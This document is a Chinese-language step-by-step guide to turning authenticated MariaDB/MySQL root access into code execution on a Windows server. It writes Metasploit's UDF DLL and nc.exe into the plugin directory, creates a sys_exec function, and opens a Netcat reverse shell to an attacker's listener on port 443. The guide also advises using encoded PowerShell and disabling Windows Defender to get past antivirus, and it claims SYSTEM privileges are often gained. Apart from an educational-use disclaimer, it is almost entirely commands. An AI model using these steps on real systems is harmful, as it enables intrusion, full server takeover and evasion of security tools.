
Database authenticated code execution
本指南提供了在远程服务器上利用 MariaDB 用户自定义函数(UDF)漏洞的详细步骤。这些步骤包括在易受攻击的数据库系统上下载并执行恶意代码。
警告: 本文档仅供教育目的使用。未经授权使用这些技术是非法且不道德的。
使用以下命令连接到 MySQL 服务器:
mysql -h 192.168.214.129 -u root -pPassw0rd!
执行以下命令确定 MySQL 运行的版本:
select @@version;
查看当前登录的用户:
select user();
检索与 root 用户相关的所有详细信息:
select * from mysql.user where user='root';
确定当前用户拥有哪些权限:
show grants;
确定系统架构是否对 UDF 存在漏洞:
select @@version_compile_os, @@version_compile_machine;
识别可以上传 UDF 文件的插件目录:
select @@plugin_dir;
从 Metasploit 的利用目录复制 32 位 DLL:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
将 udf.dll 文件编码为 base64 格式:
cat udf.dll | base64 | tr -d '\n' > udf.base64
从 udf.base64 复制 base64 值并将其传输到 MySQL 服务器:
在文本编辑器中打开 udf.base64:
leafpad udf.base64
在 MariaDB 中运行:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
或者,如有必要,可以使用以下路径:
C:\Program Files\MariaDB 11.1\lib\plugin\
在 MariaDB 中执行以下命令以创建一个新函数:
create function sys_exec returns int soname 'udf.dll';
注意: 你也可以使用
sys_eval、sys_get、do_system或sys_bineval。确保使用int而不是into。
检查 UDF 函数是否成功安装:
select * from mysql.func;
将 Netcat 可执行文件复制到本地目录,并编码为 base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
在文本编辑器中打开 nc.base64:
leafpad nc.base64
然后在 MySQL 中:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
或者,你也可以直接使用以下命令上传:
mysql -u root -p -h 192.168.214.129 < nc.base64
在 443 端口上开启 Netcat 监听器:
sudo nc -nlvp 443
在远程服务器上执行 Netcat 以实现反向 Shell:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
注意: 此步骤可能被 Windows Defender 或其他防病毒软件阻止。考虑使用 PowerShell 编码的命令(
powershellbase64),并确保 Defender 已关闭。
使用 base64 编码执行 PowerShell 命令:
select sys_exec('powershellbase64');
注意: 在许多情况下,你可能获得 NT AUTHORITY SYSTEM 权限。
删除函数: 移除已创建的 UDF 函数:
drop function sys_get;
检查本地文件: 验证是否启用了本地写入:
show variables like 'local_infile';
查找具有插入权限的用户: 识别哪些用户拥有插入权限:
use mysql;
select user from user where insert_priv='Y' and Host='%';
免责声明: 本文档仅供教育目的和安全研究使用。滥用此信息可能导致刑事指控和严重的法律处罚。在测试任何网络或系统的漏洞之前,务必获得相关机构的许可。